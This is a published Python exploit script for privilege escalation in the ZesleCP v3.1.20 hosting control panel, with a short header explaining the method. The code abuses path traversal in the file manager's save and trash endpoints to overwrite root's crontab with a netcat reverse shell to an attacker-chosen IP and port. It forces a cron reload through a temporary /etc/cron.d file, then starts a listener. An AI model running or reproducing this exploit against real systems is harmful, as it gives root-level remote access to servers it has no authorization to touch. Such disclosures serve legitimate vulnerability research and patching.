# Exploit Title: ZesleCP v3.1.20 - Privilege Escalation # Exploit Author: Ahmet Ümit BAYRAM # Date: 09.11.2024 # Vendor Homepage: https://zeslecp.com # Tested on: Ubuntu 20.04 # Privilege Escalation Exploit for ZesleCP Hosting Control Panel # This exploit leverages a path traversal vulnerability in the file editing functionality of the ZesleCP file manager. # The exploit utilizes this vulnerability to modify the root user's cron file, creating a cron job that runs with root privileges. # Although edited with user-level privileges, files manipulated through the 'file_path' parameter retain their original ownership. # This allows unauthorized editing of root-owned files, such as the cron file located in `/var/spool/cron/crontabs/root`. # The exploit places a reverse shell payload in this file to establish a reverse shell connection to the attacker's specified IP and port. # Since the cron service requires a restart to run the new job, the exploit creates and then deletes a temporary cron job in the `/etc/cron.d` directory. # This process triggers a cron service refresh, enabling the reverse shell command to execute successfully. import requests from requests.sessions import Session import subprocess import urllib3 import time # Disable SSL Warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Get user input host = input("Enter ZesleCP IP address: ") zeslecp_port = input("Enter ZesleCP port (default 2087): ") zeslecp_port = 2087 if zeslecp_port == "" else int(zeslecp_port) username = input("Enter username: ") password = input("Enter password: ") reverse_ip = input("Enter your reverse shell IP address: ") reverse_port = int(input("Enter your reverse shell port: ")) # URL settings login_url = f"https://{host}:{zeslecp_port}/login" save_file_url = f"https://{host}:{zeslecp_port}/file-manager/save-file" trash_file_url = f"https://{host}:{zeslecp_port}/file-manager/trash" # Start session session = Session() session.verify = False # Ignore SSL warnings def login(): headers = { "Content-Type": "application/json", "Accept": "application/json, text/plain, */*" } data = { "username": username, "password": password, "locale": "" } response = session.post(login_url, headers=headers, json=data) if response.status_code == 200 and "zeslecp_session" in response.cookies: print("[+] Login successful.") session.cookies.update(response.cookies) return True else: print("[-] Login failed.") return False def create_temp_cron_file(): # Create a temporary cron file to trigger cron refresh temp_cron_payload = ( "# Temporary cron file for triggering reload\n" "* * * * * echo 'temp' > /dev/null\n" ) data = { "file_path": "../../../../../../etc/cron.d/temp_trigger", "data": temp_cron_payload } headers = { "Content-Type": "application/json", "Accept": "application/json, text/plain, */*", "Referer": f"https://{host}:{zeslecp_port}/file-manager", } response = session.post(save_file_url, headers=headers, json=data) if response.status_code == 200: print("[+] Temporary cron file created successfully.") return True else: print("[-] Failed to create temporary cron file.") print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") return False def delete_temp_cron_file(): # Delete the temporary cron file data = { "files": [{"path": "../../../../../../etc/cron.d/temp_trigger", "type": "file"}] } headers = { "Content-Type": "application/json", "Accept": "application/json, text/plain, */*", "Referer": f"https://{host}:{zeslecp_port}/file-manager", } response = session.post(trash_file_url, headers=headers, json=data) if response.status_code == 200: print("[+] Temporary cron file deleted successfully.") return True else: print("[-] Failed to delete temporary cron file.") print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") return False def modify_cron_for_reverse_shell(): cron_payload = ( "# DO NOT EDIT THIS FILE - edit the master and reinstall.\n" "MAILTO=\"\"\n" f"* * * * * rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc { reverse_ip} {reverse_port} >/tmp/f\n\n" ) data = { "file_path": "../../../../../../var/spool/cron/crontabs/root", "data": cron_payload } headers = { "Content-Type": "application/json", "Accept": "application/json, text/plain, */*", "Referer": f"https://{host}:{zeslecp_port}/file-manager", } response = session.post(save_file_url, headers=headers, json=data) if response.status_code == 200: print("[+] Cron job with reverse shell added successfully.") return True else: print("[-] Failed to modify cron file.") print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") return False # Start listener with verbose output def start_listener(): print(f"[+] Starting reverse shell listener on port {reverse_port}...") listener_command = f"nc -vv -l -p {reverse_port} -n" subprocess.run(listener_command, shell=True) def main(): if not login(): exit(1) if modify_cron_for_reverse_shell(): if create_temp_cron_file(): time.sleep(2) # Wait 2 seconds after creating the file if delete_temp_cron_file(): print("[+] Cron should now be refreshed, and reverse shell job active.") start_listener() # Start listener after cron reload is triggered if __name__ == "__main__": main()